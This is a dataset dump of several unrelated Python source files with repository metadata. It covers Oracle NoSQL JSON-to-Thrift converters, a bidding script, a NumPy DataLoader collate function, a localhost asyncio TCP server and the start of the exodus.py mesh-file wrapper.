DataManager.from_json_to_tdurability(dur)\n            else:\n                durability_val = None\n            # encode timeout\n            timeout_val = int(write_opts.get(ONDB_TIMEOUT, 0))\n            # encode the Return Choice\n            return_opt_val = DataManager.from_json_to_treturn_choice(\n                write_opts.get(ONDB_RETURN_CHOICE, None))\n            update_val = write_opts.get(ONDB_UPDATE_TTL)\n        # return something as long as there is something relevant to encode\n        if (durability_val is None and timeout_val is None and\n            return_opt_val is None and update_val is None):\n            return None\n        else:\n            return TWriteOptions(durability=durability_val,\n                                 timeoutMs=timeout_val,\n                                 returnChoice=return_opt_val,\n                                 updateTTL=update_val)\n\n    @staticmethod\n    def from_json_to_tsimple_consistency(consistency):\n        # This method converts from simple consistency to the Thrift equivalent\n        if (consistency is not None):\n            if (consistency == ONDB_NONE_REQUIRED):\n                return TConsistency(simple=TSimpleConsistency.NONE_REQUIRED)\n            elif (consistency == ONDB_ABSOLUTE):\n                return TConsistency(simple=TSimpleConsistency.ABSOLUTE)\n            elif (consistency == ONDB_NONE_REQUIRED_NO_MASTER):\n                return TConsistency(\n                    simple=TSimpleConsistency.NONE_REQUIRED_NO_MASTER)\n        return None\n\n    @staticmethod\n    def from_json_to_ttime_consistency(t_consistency):\n        # This method converts from TimeConsistency to Thrift equivalent\n        if (t_consistency is not None):\n            lag = t_consistency.get(ONDB_PERMISSIBLE_LAG, None)\n            to = t_consistency.get(ONDB_TIMEOUT, None)\n            return TConsistency(\n                time=TTimeConsistency(permissibleLag=lag, timeoutMs=to))\n        return None\n\n    @staticmethod\n    def from_json_to_tversion_consistency(v_consistency):\n        # This method converts from VersionConsistency to Thrift equivalent\n        if (v_consistency is not None):\n            ver = v_consistency.get(ONDB_VERSION, None)\n            to = v_consistency.get(ONDB_TIMEOUT, None)\n            return TConsistency(\n                version=TVersionConsistency(version=ver, timeoutMs=to))\n        return None\n\n    @staticmethod\n    def from_json_to_tread_options(read_opts):\n        # This method converts from Read Options to the Thrift equivalent\n        consistency_val = timeout_val = None\n        if (read_opts is not None and type(read_opts) is dict):\n            # encode Consistency\n            con = read_opts.get(ONDB_CONSISTENCY, None)\n            if (con is not None):\n                simple_con = con.get(ONDB_SIMPLE_CONSISTENCY, None)\n                if (simple_con is not None):\n                    consistency_val = \\\n                        DataManager.from_json_to_tsimple_consistency(simple_con)\n                else:\n                    time_con = read_opts.get(ONDB_TIME_CONSISTENCY, None)\n                    if (time_con is not None):\n                        consistency_val = \\\n                            DataManager.from_json_to_ttime_consistency(time_con)\n                    else:\n                        version_con = read_opts.get(\n                            ONDB_VERSION_CONSISTENCY, None)\n                        if (version_con is not None):\n                            consistency_val = \\\n                                DataManager.from_json_to_tversion_consistency(\n                                    version_con)\n            # encode timeout\n            timeout_val = int(read_opts.get(ONDB_TIMEOUT, 0))\n        # return something as long as there is something to encode\n        if (consistency_val is None and timeout_val is None):\n            return None\n        else:\n            return TReadOptions(consistency=consistency_val,\n                                timeoutMs=timeout_val)\n\n    @staticmethod\n    def from_json_to_tfield_range(field_range):\n        # This method converts from Field Range to the Thrift equivalent\n        if (field_range is not None):\n            # get all the relevant information\n            field = field_range.get(ONDB_FIELD, None)\n            start_value = field_range.get(ONDB_START_VALUE, None)\n            end_value = field_range.get(ONDB_END_VALUE, None)\n            start_inclusive = field_range.get(ONDB_START_INCLUSIVE, None)\n            end_inclusive = field_range.get(ONDB_END_INCLUSIVE, None)\n            # encode it as a TFieldRange\n            return TFieldRange(fieldName=field,\n                               startValue=start_value,\n                               startIsInclusive=start_inclusive,\n                               endValue=end_value,\n                               endIsInclusive=end_inclusive)\n        return None\n\n    @staticmethod\n    def from_json_to_tmultirow_options(multirow_opts):\n        # This method converts from Multirow Options to the Thrift equivalent\n        t_field_range = None\n        t_tables = None\n        if (multirow_opts is not None):\n            # get field range\n            t_field_range = DataManager.from_json_to_tfield_range(\n                multirow_opts.get(ONDB_FIELD_RANGE, None))\n            # get the list of parent and children tables and consolidate\n            t_tables = multirow_opts.get(ONDB_INCLUDED_TABLES, None)\n        # return the data\n        return t_field_range, t_tables\n\n    @staticmethod\n    def from_json_to_tdirection(direction):\n        # This method converts from Direction to the Thrift equivalent\n        res = None\n        if (isinstance(direction, dict)):\n            d = direction.get(ONDB_DIRECTION, None)\n            if (d == ONDB_FORWARD):\n                res = TDirection.FORWARD\n            elif (d == ONDB_REVERSE):\n                res = TDirection.REVERSE\n            elif (d == ONDB_UNORDERED):\n                res = TDirection.UNORDERED\n        return res\n\n    @staticmethod\n    def from_json_to_ttable_iterator_options(table_iterator_opts):\n        # This method converts from Table Iterator Options to the Thrift\n        # equivalent\n        t_dir = None\n        max_results = 0\n        tr_opts = None\n        if (table_iterator_opts is not None):\n            # get direction, max results and read options\n            direction = table_iterator_opts.get(ONDB_DIRECTION, None)\n            max_results_by_batch = table_iterator_opts.get(\n                ONDB_MAX_RESULTS,\n                0)\n            read_opts = table_iterator_opts.get(ONDB_READ_OPTIONS, None)\n            t_dir = DataManager.from_json_to_tdirection(direction)\n            if (max_results_by_batch == 0 or max_results_by_batch is None):\n                max_results = 0\n            else:\n                max_results = int(max_results_by_batch)\n            tr_opts = DataManager.from_json_to_tread_options(read_opts)\n        # return the Thrift data\n        return t_dir, max_results, tr_opts\n\n    @staticmethod\n    def from_json_to_toperation_type(operation_type):\n        # This methid converts from Operation Type\n        op_type = operation_type.get(ONDB_OPERATION_TYPE, None)\n        if (op_type == ONDB_DELETE):\n            return TOperationType.DELETE\n        elif (op_type == ONDB_DELETE_IF_VERSION):\n            return TOperationType.DELETE_IF_VERSION\n        elif (op_type == ONDB_PUT):\n            return TOperationType.PUT\n        elif (op_type == ONDB_PUT_IF_ABSENT):\n            return TOperationType.PUT_IF_ABSENT\n        elif (op_type == ONDB_PUT_IF_PRESENT):\n            return TOperationType.PUT_IF_PRESENT\n        elif (op_type == ONDB_PUT_IF_VERSION):\n            return TOperationType.PUT_IF_VERSION\n        return None\n\n    @staticmethod\n    def from_json_to_toperations(table_operations):\n        # This method converts from Operations list to the Thrift equivalent\n        operations = []\n        if (isinstance(table_operations, list)):\n            for oper in table_operations:\n                # get table name, operation type, abort option, row,\n                # return choice and version\n                tn = oper.get(ONDB_TABLE_NAME, None)\n                op_str = oper.get(ONDB_OPERATION, None)\n                op = DataManager.from_json_to_toperation_type(\n                    op_str)\n                abort = oper.get(ONDB_ABORT_IF_UNSUCCESSFUL, False)\n                rd = oper.get(ONDB_ROW, None)\n                row = DataManager.dict_to_trow(rd)\n                r_choice = DataManager.from_json_to_treturn_choice(\n                    rd.get(ONDB_RETURN_CHOICE, None))\n                ver = oper.get(ONDB_VERSION, None)\n                # convert it as TOperation and append it to the list\n                t_oper = TOperation(tn, op, row, r_choice, abort, ver)\n                operations.append(t_oper)\n        # return the list\n        return operations\n\n    @staticmethod\n    def from_json_to_ttimeunit(timeunit):\n        # This method converts from TimeUnit to the Thrift equivalent\n        tu = timeunit.get(ONDB_TIMEUNIT, None)\n        if (tu == ONDB_HOURS):\n            return TTimeUnit.HOURS\n        elif (tu == ONDB_DAYS):\n            return TTimeUnit.DAYS\n        return None\n", "repo_name": "riftangel/nosql", "sub_path": "lib/python2.7/site-packages/nosqldb/jsonutils.py", "file_name": "jsonutils.py", "file_ext": "py", "file_size_in_byte": 20186, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 79, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 102, "usage_type": "call"}, {"api_name": "utilities.ONDB_RC_ALL", "line_number": 156, "usage_type": "name"}, {"api_name": "utilities.ONDB_RC_NONE", "line_number": 157, "usage_type": "name"}, {"api_name": "utilities.ONDB_RC_VALUE", "line_number": 158, "usage_type": "name"}, {"api_name": "utilities.ONDB_RC_VERSION", "line_number": 159, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 183, "usage_type": "call"}, {"api_name": "utilities.ONDB_TTL_VALUE", "line_number": 187, "usage_type": "argument"}, {"api_name": "utilities.ONDB_TTL_TIMEUNIT", "line_number": 188, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TTimeToLive", "line_number": 190, "usage_type": "call"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TRow", "line_number": 195, "usage_type": "call"}, {"api_name": "base64.b64encode", "line_number": 201, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 209, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 219, "usage_type": "call"}, {"api_name": "utilities.ONDB_SP_NO_SYNC", "line_number": 228, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSyncPolicy.NO_SYNC", "line_number": 229, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSyncPolicy", "line_number": 229, "usage_type": "name"}, {"api_name": "utilities.ONDB_SP_SYNC", "line_number": 230, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSyncPolicy.SYNC", "line_number": 231, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSyncPolicy", "line_number": 231, "usage_type": "name"}, {"api_name": "utilities.ONDB_SP_WRITE_NO_SYNC", "line_number": 232, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSyncPolicy.WRITE_NO_SYNC", "line_number": 233, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSyncPolicy", "line_number": 233, "usage_type": "name"}, {"api_name": "utilities.ONDB_AP_ALL", "line_number": 240, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReplicaAckPolicy.ALL", "line_number": 241, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReplicaAckPolicy", "line_number": 241, "usage_type": "name"}, {"api_name": "utilities.ONDB_AP_NONE", "line_number": 242, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReplicaAckPolicy.NONE", "line_number": 243, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReplicaAckPolicy", "line_number": 243, "usage_type": "name"}, {"api_name": "utilities.ONDB_AP_SIMPLE_MAJORITY", "line_number": 244, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReplicaAckPolicy.SIMPLE_MAJORITY", "line_number": 245, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReplicaAckPolicy", "line_number": 245, "usage_type": "name"}, {"api_name": "utilities.ONDB_MASTER_SYNC", "line_number": 254, "usage_type": "argument"}, {"api_name": "utilities.ONDB_REPLICA_SYNC", "line_number": 256, "usage_type": "argument"}, {"api_name": "utilities.ONDB_REPLICA_ACK", "line_number": 258, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDurability", "line_number": 267, "usage_type": "call"}, {"api_name": "utilities.ONDB_RC_NONE", "line_number": 275, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice.NONE", "line_number": 276, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice", "line_number": 276, "usage_type": "name"}, {"api_name": "utilities.ONDB_RC_ALL", "line_number": 277, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice.ALL", "line_number": 278, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice", "line_number": 278, "usage_type": "name"}, {"api_name": "utilities.ONDB_RC_VALUE", "line_number": 279, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice.ONLY_VALUE", "line_number": 280, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice", "line_number": 280, "usage_type": "name"}, {"api_name": "utilities.ONDB_RC_VERSION", "line_number": 281, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice.ONLY_VERSION", "line_number": 282, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReturnChoice", "line_number": 282, "usage_type": "name"}, {"api_name": "utilities.ONDB_DURABILITY", "line_number": 291, "usage_type": "argument"}, {"api_name": "utilities.ONDB_TIMEOUT", "line_number": 297, "usage_type": "argument"}, {"api_name": "utilities.ONDB_RETURN_CHOICE", "line_number": 300, "usage_type": "argument"}, {"api_name": "utilities.ONDB_UPDATE_TTL", "line_number": 301, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TWriteOptions", "line_number": 307, "usage_type": "call"}, {"api_name": "utilities.ONDB_NONE_REQUIRED", "line_number": 316, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TConsistency", "line_number": 317, "usage_type": "call"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSimpleConsistency.NONE_REQUIRED", "line_number": 317, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSimpleConsistency", "line_number": 317, "usage_type": "name"}, {"api_name": "utilities.ONDB_ABSOLUTE", "line_number": 318, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TConsistency", "line_number": 319, "usage_type": "call"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSimpleConsistency.ABSOLUTE", "line_number": 319, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSimpleConsistency", "line_number": 319, "usage_type": "name"}, {"api_name": "utilities.ONDB_NONE_REQUIRED_NO_MASTER", "line_number": 320, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TConsistency", "line_number": 321, "usage_type": "call"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSimpleConsistency.NONE_REQUIRED_NO_MASTER", "line_number": 322, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TSimpleConsistency", "line_number": 322, "usage_type": "name"}, {"api_name": "utilities.ONDB_PERMISSIBLE_LAG", "line_number": 329, "usage_type": "argument"}, {"api_name": "utilities.ONDB_TIMEOUT", "line_number": 330, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TConsistency", "line_number": 331, "usage_type": "call"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TTimeConsistency", "line_number": 332, "usage_type": "call"}, {"api_name": "utilities.ONDB_VERSION", "line_number": 339, "usage_type": "argument"}, {"api_name": "utilities.ONDB_TIMEOUT", "line_number": 340, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TConsistency", "line_number": 341, "usage_type": "call"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TVersionConsistency", "line_number": 342, "usage_type": "call"}, {"api_name": "utilities.ONDB_CONSISTENCY", "line_number": 351, "usage_type": "argument"}, {"api_name": "utilities.ONDB_SIMPLE_CONSISTENCY", "line_number": 353, "usage_type": "argument"}, {"api_name": "utilities.ONDB_TIME_CONSISTENCY", "line_number": 358, "usage_type": "argument"}, {"api_name": "utilities.ONDB_VERSION_CONSISTENCY", "line_number": 364, "usage_type": "argument"}, {"api_name": "utilities.ONDB_TIMEOUT", "line_number": 370, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TReadOptions", "line_number": 375, "usage_type": "call"}, {"api_name": "utilities.ONDB_FIELD", "line_number": 383, "usage_type": "argument"}, {"api_name": "utilities.ONDB_START_VALUE", "line_number": 384, "usage_type": "argument"}, {"api_name": "utilities.ONDB_END_VALUE", "line_number": 385, "usage_type": "argument"}, {"api_name": "utilities.ONDB_START_INCLUSIVE", "line_number": 386, "usage_type": "argument"}, {"api_name": "utilities.ONDB_END_INCLUSIVE", "line_number": 387, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TFieldRange", "line_number": 389, "usage_type": "call"}, {"api_name": "utilities.ONDB_FIELD_RANGE", "line_number": 404, "usage_type": "argument"}, {"api_name": "utilities.ONDB_INCLUDED_TABLES", "line_number": 406, "usage_type": "argument"}, {"api_name": "utilities.ONDB_DIRECTION", "line_number": 415, "usage_type": "argument"}, {"api_name": "utilities.ONDB_FORWARD", "line_number": 416, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDirection.FORWARD", "line_number": 417, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDirection", "line_number": 417, "usage_type": "name"}, {"api_name": "utilities.ONDB_REVERSE", "line_number": 418, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDirection.REVERSE", "line_number": 419, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDirection", "line_number": 419, "usage_type": "name"}, {"api_name": "utilities.ONDB_UNORDERED", "line_number": 420, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDirection.UNORDERED", "line_number": 421, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TDirection", "line_number": 421, "usage_type": "name"}, {"api_name": "utilities.ONDB_DIRECTION", "line_number": 433, "usage_type": "argument"}, {"api_name": "utilities.ONDB_MAX_RESULTS", "line_number": 435, "usage_type": "argument"}, {"api_name": "utilities.ONDB_READ_OPTIONS", "line_number": 437, "usage_type": "argument"}, {"api_name": "utilities.ONDB_OPERATION_TYPE", "line_number": 450, "usage_type": "argument"}, {"api_name": "utilities.ONDB_DELETE", "line_number": 451, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType.DELETE", "line_number": 452, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType", "line_number": 452, "usage_type": "name"}, {"api_name": "utilities.ONDB_DELETE_IF_VERSION", "line_number": 453, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType.DELETE_IF_VERSION", "line_number": 454, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType", "line_number": 454, "usage_type": "name"}, {"api_name": "utilities.ONDB_PUT", "line_number": 455, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType.PUT", "line_number": 456, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType", "line_number": 456, "usage_type": "name"}, {"api_name": "utilities.ONDB_PUT_IF_ABSENT", "line_number": 457, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType.PUT_IF_ABSENT", "line_number": 458, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType", "line_number": 458, "usage_type": "name"}, {"api_name": "utilities.ONDB_PUT_IF_PRESENT", "line_number": 459, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType.PUT_IF_PRESENT", "line_number": 460, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType", "line_number": 460, "usage_type": "name"}, {"api_name": "utilities.ONDB_PUT_IF_VERSION", "line_number": 461, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType.PUT_IF_VERSION", "line_number": 462, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperationType", "line_number": 462, "usage_type": "name"}, {"api_name": "utilities.ONDB_TABLE_NAME", "line_number": 473, "usage_type": "argument"}, {"api_name": "utilities.ONDB_OPERATION", "line_number": 474, "usage_type": "argument"}, {"api_name": "utilities.ONDB_ABORT_IF_UNSUCCESSFUL", "line_number": 477, "usage_type": "argument"}, {"api_name": "utilities.ONDB_ROW", "line_number": 478, "usage_type": "argument"}, {"api_name": "utilities.ONDB_RETURN_CHOICE", "line_number": 481, "usage_type": "argument"}, {"api_name": "utilities.ONDB_VERSION", "line_number": 482, "usage_type": "argument"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TOperation", "line_number": 484, "usage_type": "call"}, {"api_name": "utilities.ONDB_TIMEUNIT", "line_number": 492, "usage_type": "argument"}, {"api_name": "utilities.ONDB_HOURS", "line_number": 493, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TTimeUnit.HOURS", "line_number": 494, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TTimeUnit", "line_number": 494, "usage_type": "name"}, {"api_name": "utilities.ONDB_DAYS", "line_number": 495, "usage_type": "name"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TTimeUnit.DAYS", "line_number": 496, "usage_type": "attribute"}, {"api_name": "oracle.kv.proxy.gen.ttypes.TTimeUnit", "line_number": 496, "usage_type": "name"}]}
{"seq_id": "11220116010", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec  1 19:04:45 2020\n\n@author: Linter\n\"\"\"\nfrom art import logo\nprint(logo)\naction_dict = {}\nwhile True:\n    name = input(\"what's your name: \" )\n    bid = float(input(\"what's your bid: \" ))\n    ask_more = input(\"Are there any other bidders? Type 'yes' or 'no'. \\n\")\n    action_dict[name] = bid\n    print(action_dict)\n    \n    if ask_more == \"yes\":\n        continue\n    elif ask_more == \"no\":\n        max_bid = 0 \n        for key in action_dict:\n            if max_bid < action_dict[key]:\n                max_bid = action_dict[key]\n        winner_index = list(action_dict.values()).index(max_bid)\n        winner = list(action_dict.keys())[winner_index]\n        print(f\"The winner is {winner} ,bid is {max_bid}\")\n        break", "repo_name": "Lintercloud/secret_action", "sub_path": "secret_action.py", "file_name": "secret_action.py", "file_ext": "py", "file_size_in_byte": 766, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "art.logo", "line_number": 8, "usage_type": "argument"}]}
{"seq_id": "7990222155", "text": "import numpy as onp\nfrom torch.utils import data\n\n\ndef numpy_collate(batch):\n    if isinstance(batch[0], onp.ndarray):\n        return onp.stack(batch)\n    elif isinstance(batch[0], (tuple, list)):\n        transposed = zip(*batch)\n        return [numpy_collate(samples) for samples in transposed]\n    else:\n        return onp.array(batch)\n\n\nclass NumpyLoader(data.DataLoader):\n    def __init__(self, dataset, batch_size=1, shuffle=False, sampler=None, batch_sampler=None, num_workers=0,\n                 pin_memory=False, drop_last=False, timeout=0, worker_init_fn=None):\n        super(self.__class__, self).__init__(dataset,\n                                             batch_size=batch_size,\n                                             shuffle=shuffle,\n                                             sampler=sampler,\n                                             batch_sampler=batch_sampler,\n                                             num_workers=num_workers,\n                                             collate_fn=numpy_collate,\n                                             pin_memory=pin_memory,\n                                             drop_last=drop_last,\n                                             timeout=timeout,\n                                             worker_init_fn=worker_init_fn\n                                             )\n", "repo_name": "ddehueck/jax-skip-gram-negative-sampling", "sub_path": "dataloader.py", "file_name": "dataloader.py", "file_ext": "py", "file_size_in_byte": 1350, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.ndarray", "line_number": 6, "usage_type": "attribute"}, {"api_name": "numpy.stack", "line_number": 7, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 12, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 15, "usage_type": "attribute"}, {"api_name": "torch.utils.data", "line_number": 15, "usage_type": "name"}]}
{"seq_id": "40479606470", "text": "import asyncio\n\n\nasync def handle_client(reader, writer):\n    data = await reader.read(100)\n    message = data.decode(\"utf-8\")\n    addr = writer.get_extra_info(\"peername\")\n\n    print(f\"Received {message} from {addr}\")\n\n    print(\"Send: ACK\")\n    writer.write(b\"ACK\")\n    await writer.drain()\n\n    print(\"Closing the connection\")\n    writer.close()\n    await writer.wait_closed()\n\nasync def main():\n    server = await asyncio.start_server(handle_client, \"127.0.0.1\", 8888)\n\n    addr = server.sockets[0].getsockname()\n    print(f\"Serving on {addr}\")\n\n    async with server:\n        await server.serve_forever()\n\nasyncio.run(main())\n", "repo_name": "apinanyogaratnam/atom-linker", "sub_path": "experimental/async_tcp.py", "file_name": "async_tcp.py", "file_ext": "py", "file_size_in_byte": 630, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "asyncio.start_server", "line_number": 20, "usage_type": "call"}, {"api_name": "asyncio.run", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "39983817857", "text": "import sys\nif sys.version_info[0] < 3:\n    raise Exception(\"Python-3 version. If using python-2, try `import exodus2 as exodus`\")\n\nimport ctypes\nimport os\nimport locale\nfrom enum import Enum\n\nEXODUS_PY_COPYRIGHT_AND_LICENSE = __doc__\n\nEXODUS_PY_VERSION = \"1.21.1 (seacas-py3)\"\n\nEXODUS_PY_COPYRIGHT = \"\"\"\nYou are using exodus.py v 1.21.1 (seacas-py3), a python wrapper of some of the exodus library.\n\nCopyright (c) 2013-2023 National Technology &\nEngineering Solutions of Sandia, LLC (NTESS).  Under the terms of\nContract DE-NA0003525 with NTESS, the U.S. Government retains certain\nrights in this software.\n\"\"\"\n\nEXODUS_PY_CONTACTS = \"\"\"\nAuthors:\n  Greg Sjaardema   (gdsjaar@sandia.gov)\n  Mario LoPrinzi   (mvlopri@sandia.gov)\n  Timothy Shelton  (trshelt@sandia.gov)\n  Michael Veilleux (mgveill@sandia.gov)\n  David Littlewood (djlittl@sandia.gov)\n\"\"\"\n\n# show the banner on first use\nSHOW_BANNER = True\n\n# Documentation is generated on a Mac laptop using:\n# pdoc --force --html ../lib/exodus.py\n\nsys.dont_write_bytecode = True\n\nONELINE = \"Gather from or export to Exodus files using the Exodus library\"\n\n\ndef basename(file_name):\n    \"\"\"\n    Extract base name from file_name.\n    `basename(\"test.e\") -> \"test\"`\n    \"\"\"\n    return os.path.splitext(file_name)[0]\n\n\ndef getExodusVersion():\n    \"\"\"\n    Parse the exodusII.h header file and return the version number or 0 if not\n    found.\n    \"\"\"\n\n    return _parse_exodus_version('@EXODUS_VERSION@')\n\n\ndef _parse_exodus_version(version_string):\n    if version_string:\n        assert version_string.startswith(\"#define EXODUS_VERSION \"), \"Received a incorrectly formated verstion string. Please check the CMakeLists.txt\"\n        return int(version_string.strip().split()[-1].strip('\"').replace('.', ''))\n    else:\n        return 0\n\n\ntry:\n    locale.setlocale(locale.LC_ALL, 'en_US.utf-8')\nexcept locale.Error:\n    locale.setlocale(locale.LC_ALL, 'C')\n\n\nclass ex_options(Enum):\n    \"\"\"\n    `ex_opts()` function codes - codes are OR'ed into exopts\n\n    Parameters\n    ----------\n    EX_DEFAULT\n         Application responsible for calling `ex_err()` to get error and warning messages to output; library is quiet\n    EX_VERBOSE\n         Verbose mode -- output all error and warning messages\n    EX_DEBUG\n         Output Debug messages\n    EX_ABORT\n         If an error is detected, library will abort instead of letting application decide\n    EX_NULLVERBOSE\n         Output error and warning messages for NULL Entity errors and warnings\n    \"\"\"\n    EX_DEFAULT = 0\n    EX_VERBOSE = 1\n    EX_DEBUG = 2\n    EX_ABORT = 4\n    EX_NULLVERBOSE = 8\n\n\nACCESS = os.getenv('ACCESS', '@ACCESSDIR@')\nif os.uname()[0] == 'Darwin':\n    EXODUS_SO = f\"{ACCESS}/@SEACAS_LIBDIR@/libexodus.dylib\"\nelse:\n    EXODUS_SO = f\"{ACCESS}/@SEACAS_LIBDIR@/libexodus.so\"\npip_path = os.path.dirname(__file__)\npip_so_path = os.path.join(pip_path, \"libexodus.so\")\ntry:\n    EXODUS_LIB = ctypes.cdll.LoadLibrary(pip_so_path)\nexcept Exception:\n    EXODUS_LIB = ctypes.cdll.LoadLibrary(EXODUS_SO)\n\nMAX_STR_LENGTH = 32      # match exodus default\nMAX_NAME_LENGTH = 256     # match exodus default\nMAX_LINE_LENGTH = 80      # match exodus default\n\nEX_API_VERSION_NODOT = getExodusVersion()\nEX_READ = 0x0002 if EX_API_VERSION_NODOT >= 608 else 0x0000\nEX_WRITE = 0x0001  # ex_open(): open existing file for appending.\nEX_NOCLOBBER = 0x0004  # does not overwrite existing exodus file\nEX_CLOBBER = 0x0008  # overwrites existing exodus file\n\nEX_NORMAL_MODEL = 0x0010  # disable mods that permit storage of larger models\nEX_64BIT_OFFSET = 0x0020  # enable mods that permit storage of larger models\n# enable mods that permit storage of larger models\nEX_LARGE_MODEL = EX_64BIT_OFFSET\nEX_64BIT_DATA = 0x400000  # CDF-5 format: classic model but 64 bit dimensions and sizes\nEX_NETCDF4 = 0x0040  # use the hdf5-based netcdf4 output\nEX_NOSHARE = 0x0080  # Do not open netcdf file in \"share\" mode\nEX_SHARE = 0x0100  # Do open netcdf file in \"share\" mode\nEX_NOCLASSIC = 0x0200  # Do not force netcdf to classic mode in netcdf4 mode\n\nEX_DISKLESS = 0x100000  # Experimental\nEX_MMAP = 0x200000  # Experimental\n\n# Need to distinguish between storage on database (DB in name) and\n# passed through the API functions (API in name).\nEX_MAPS_INT64_DB = 0x0400  # All maps (id, order, ...) store int64_t values\n# All entity ids (sets, blocks, maps) are int64_t values\nEX_IDS_INT64_DB = 0x0800\n# All integer bulk data (local indices, counts, maps); not ids\nEX_BULK_INT64_DB = 0x1000\n# All of the above...\nEX_ALL_INT64_DB = EX_MAPS_INT64_DB + EX_IDS_INT64_DB + EX_BULK_INT64_DB\n\nEX_MAPS_INT64_API = 0x2000  # All maps (id, order, ...) store int64_t values\n# All entity ids (sets, blocks, maps) are int64_t values\nEX_IDS_INT64_API = 0x4000\n# All integer bulk data (local indices, counts, maps); not ids\nEX_BULK_INT64_API = 0x8000\nEX_INQ_INT64_API = 0x10000  # Integers passed to/from ex_inquire are int64_t\n# All of the above...\nEX_ALL_INT64_API = EX_MAPS_INT64_API + EX_IDS_INT64_API + \\\n    EX_BULK_INT64_API + EX_INQ_INT64_API\n\n# Parallel IO mode flags...\nEX_MPIIO = 0x20000\nEX_MPIPOSIX = 0x40000  # \\deprecated As of libhdf5 